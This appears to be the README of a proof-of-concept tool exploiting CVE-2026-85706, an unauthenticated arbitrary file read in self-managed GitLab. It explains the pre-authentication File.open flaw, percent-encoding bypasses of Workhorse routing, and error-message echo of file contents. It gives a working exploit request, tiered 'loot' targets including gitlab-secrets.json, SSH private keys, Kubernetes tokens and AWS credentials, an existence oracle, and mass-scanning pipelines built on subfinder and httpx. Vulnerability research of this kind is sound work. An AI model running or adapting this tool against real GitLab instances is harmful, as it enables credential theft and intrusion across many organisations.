
CVE-2026-85706 · Leitura de arquivos não autenticada no GitLab CE/EE · PoC de pesquisa com modo oracle, enumeração de fd e coleta em camadas
PoC para CVE-2026-85706, uma leitura arbitrária de arquivos não autenticada que afeta instâncias autogerenciadas do GitLab CE/EE.
| CVE | CVE-2026-85706 |
| CVSS | 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N) |
| Afetado | 18.7 a 19.1.7, 19.2.0 a 19.2.5, 19.3.0 a 19.3.1 |
| Corrigido | 19.1.8 / 19.2.6 / 19.3.2 (lançado em 2026-09-10) |
| Componente | Repository Commits API / Files API (upload de corpo do Workhorse) |
| Relator | s3ntago via GitLab HackerOne |
Três endpoints da API de repositório ficam atrás do requestBodyUploader do Workhorse:
POST /api/v4/projects/:id/repository/commits
POST /api/v4/projects/:id/repository/files/:file_path
PUT /api/v4/projects/:id/repository/files/:file_path
O handler do Rails chama File.open(params['file.path']) antes de authenticate!. Quatro condições tornam isso explorável:
1. A autenticação ocorre depois da leitura do arquivo.
require_gitlab_workhorse! apenas verifica o cabeçalho JWT Gitlab-Workhorse-Api-Request. O Workhorse carimba esse cabeçalho em toda requisição que ele faz proxy, incluindo passthroughs simples. O authenticate! real fica dentro de authorize_push_to_branch!, que é executado depois que file_params_from_body_upload já leu o arquivo do disco.
2. file.path vem diretamente da requisição.
file_params_from_body_upload lê params['file.path'] como um caminho absoluto sem nenhuma validação. No fluxo pretendido, o Workhorse grava o upload em um arquivo temporário e injeta esse parâmetro por conta própria. Um atacante simplesmente o envia diretamente como parâmetro de query string apontando para qualquer lugar do sistema de arquivos.
3. A correspondência de rotas do Workhorse nunca decodifica percent-encoding.
O Workhorse compara rotas de upload com EscapedPath(), os bytes brutos da URL conforme recebidos. O Puma decodifica sequências %XX antes de rotear para o Grape. Assim, codificar um caractere em um segmento estático faz o Workhorse pular sua regra de reescrita enquanto o Rails ainda roteia para o handler vulnerável:
POST /api/v4/projects/1/repository/commits/ (barra final)
POST /api/v4/projects/1/repository/%63ommits (c -> %63)
POST /api/v4/projects/1/%72epository/commits (r -> %72)
POST /api/v4/projects/1/repository/commits.json (sufixo de formato do Grape)
4. O Rack ecoa o conteúdo do arquivo de volta na resposta de erro.
Com Content-Type: application/x-www-form-urlencoded, o conteúdo do arquivo é entregue a Rack::Utils.parse_nested_query. Qualquer % isolado não seguido de dois dígitos hexadecimais gera InvalidParameterError: invalid %-encoding (<content>). Tudo até o primeiro & no arquivo é ecoado no corpo da resposta 400.
Arquivos sem % isolado ainda são lidos antes da autenticação. A resposta 401 do ramo urlencoded e um 500 do ramo multipart confirmam que o arquivo existe e é legível pelo usuário git, tornando-os úteis como oráculo de existência.
Requisição de exploit:
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=&file.path=/etc/gitlab/gitlab.rb&file.size=1&Content-Type=application/x-www-form-urlencoded
--file lê qualquer arquivo único; recorre automaticamente ao oráculo se não houver gatilho de eco--loot executa 36 alvos em 7 camadas, ordenados por probabilidade confirmada de gatilho de eco--oracle executa uma sondagem de ramo duplo (urlencoded + multipart) contra arquivos sem eco e informa se cada um é legível, ausente ou ilegível--proc enumera /proc/self/fd/0-31 para encontrar descritores de arquivo abertos, depois lê alvos padrão de reconhecimento em /proc--shell entra em um shell interativo de leitura de arquivos com os comandos cat, loot, oracle, project e curl--pipe lê alvos da entrada padrão e trata saída do subfinder, texto do httpx, JSON do httpx, JSON do nuclei e linhas brutas de hosts--list recebe um arquivo de alvos, um por linha--threads para varredura em massa concorrente--proxy roteia tudo através do Burp ou mitmproxy--raw grava bytes brutos na saída padrão sem decoração, útil para redirecionar para um arquivo--full executa loot, oracle e proc em uma única passada-opip install requests
python3 gitread.py -h
Requer Python 3.10 ou mais recente. Nenhuma outra dependência.
python3 gitread.py -t https://gitlab.corp.com --file /etc/passwd
python3 gitread.py -t https://gitlab.corp.com --file /etc/gitlab/gitlab.rb --raw > gitlab.rb
python3 gitread.py -t https://gitlab.corp.com --loot
python3 gitread.py -t https://gitlab.corp.com --oracle
python3 gitread.py -t https://gitlab.corp.com --full -o report.json
python3 gitread.py -t https://gitlab.corp.com --loot --shell
python3 gitread.py -t https://gitlab.corp.com --loot --proxy http://127.0.0.1:8080
subfinder -d corp.com -silent \
| httpx -silent -sc -td \
| python3 gitread.py --pipe --loot -o hits.jsonl
subfinder -d corp.com -silent \
| httpx -silent -json \
| python3 gitread.py --pipe --loot -q -o hits.jsonl
python3 gitread.py --list hosts.txt --loot --threads 20 -o hits.jsonl
cat hosts.txt | python3 gitread.py --loot
A entrada padrão é detectada automaticamente quando não é um TTY, então --pipe é opcional na maioria dos casos.
gitread@target> cat /etc/gitlab/gitlab-secrets.json
gitread@target> loot
gitread@target> oracle
gitread@target> project 35
gitread@target> curl /etc/passwd
gitread@target> exit
| Veredito | Significado |
|---|---|
leak | Conteúdo do arquivo ecoado no corpo da resposta 400, leitura confirmada |
leak-frag | Eco parcial via erro de tipo de parâmetro |
read-noecho | O arquivo foi lido antes da autenticação, mas não tem % isolado, então nada foi ecoado |
READABLE | O ramo multipart retornou 500, o arquivo existe e é legível pelo usuário git |
missing | O servidor informou que o arquivo local não está presente |
rewrite | O Workhorse reescreveu o corpo, esta forma de bypass está morta |
noroute | Rails 404, a instância está corrigida ou o caminho está errado |
server-error | 500, o arquivo existe mas causou um erro de parsing |
| Camada | Arquivos | Eco |
|---|---|---|
| 1 | gitlab.rb, gitlab.yml, redis.conf | Vazamento direto de conteúdo |
| 2 | gitlab-secrets.json, secrets.yml, database.yml | Apenas oráculo, hex puro |
| 3 | .gitlab_workhorse_secret | Apenas oráculo |
| 4 | Chaves privadas SSH e authorized_keys | Apenas oráculo |
| 5 | gitlab-shell.yml, gitaly.toml, configuração do PostgreSQL | Apenas oráculo |
| 6 | Token de service account do Kubernetes, credenciais da AWS | Apenas oráculo |
| 7 | Hostname, hosts, passwd, os-release, environ | Apenas oráculo |